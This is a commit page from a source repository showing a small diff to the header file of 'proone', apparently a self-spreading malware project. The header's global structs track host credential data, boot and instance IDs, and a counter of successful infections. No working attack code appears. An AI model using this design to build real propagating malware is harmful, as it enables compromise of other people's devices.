aboutsummaryrefslogtreecommitdiff
path: root/src/proone.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-03-03 20:43:55 +1100
committerDavid Timber <mieabby@gmail.com>2020-03-03 20:43:55 +1100
commit99214f49b4397886abd2bb69de598b56d1be72d9 (patch)
treef24a255123d7e5b90458cefd30fa34dbdc10cc75 /src/proone.h
parentd328cbbdc256197d02ec03eef0022b4122d38bb8 (diff)
htbt protocol prototype ...
* gen `PRNE_BUILD_ENTROPY` on configure * `PRNE_PROG_VER` bin str -> arr str * added null checked str func `prne_nstreq()`, `prne_nstrlen()` * preserve `errno` in signal handlers
Diffstat (limited to 'src/proone.h')
-rw-r--r--src/proone.h12
1 files changed, 8 insertions, 4 deletions
diff --git a/src/proone.h b/src/proone.h
index ceee847..d0cb48e 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -15,13 +15,15 @@
struct prne_global {
uint8_t *host_cred_data;
size_t host_cred_size;
- struct timespec god_start;
+ struct timespec parent_start;
+ struct timespec child_start;
uint_fast64_t run_cnt;
+ uint8_t boot_id[16];
+ uint8_t instance_id[16];
prne_resolv_wkr_ctx_t resolv;
- int god_exit_evt;
int caught_signal;
- pid_t god_pid;
- pid_t proone_pid;
+ pid_t parent_pid;
+ pid_t child_pid;
int lock_shm_fd;
bool bin_ready;
bool is_child;
@@ -53,6 +55,8 @@ struct prne_shared_global {
uint_fast64_t bne_cnt;
// Number of successful infections.
uint_fast64_t infect_cnt;
+ // null-terminated name of new binary
+ char ny_bin_name[20];
};
static const intptr_t PRNE_RESOLV_WKR_ID = 0;